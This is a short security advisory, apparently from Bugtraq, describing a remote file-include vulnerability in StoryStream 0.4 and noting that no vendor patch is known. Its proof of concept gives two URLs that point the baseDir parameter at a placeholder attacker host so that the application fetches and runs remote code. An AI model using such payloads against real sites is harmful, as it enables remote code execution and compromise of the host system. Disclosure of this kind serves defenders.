StoryStream BaseDir Remote File Include Vulnerability

Bugtraq ID:	21012
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 12 2006 12:00AM
Updated:	Nov 15 2006 04:31PM
Credit:	v1per-haCker is credited with the discovery of this vulnerability.
Vulnerable:	iWonder Designs StoryStream 0.4
Not Vulnerable:

StoryStream BaseDir Remote File Include Vulnerability

StoryStream is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

StoryStream 0.4 is vulnerable.

StoryStream BaseDir Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof of concept is available:

http://www.example.com/path/include/classes/pear/DB/mysql.php?baseDir=http://attacker's_code
http://www.example.com/path/include/classes/pear/DB/mysqli.php?baseDir=http://attacker's_code

StoryStream BaseDir Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

StoryStream BaseDir Remote File Include Vulnerability

References:

• iWonder Designs (iWonder Designs)
  
• Storystream (RFI) (v1per-haCker)
  
• StoryStream Homepage (iWonder Designs)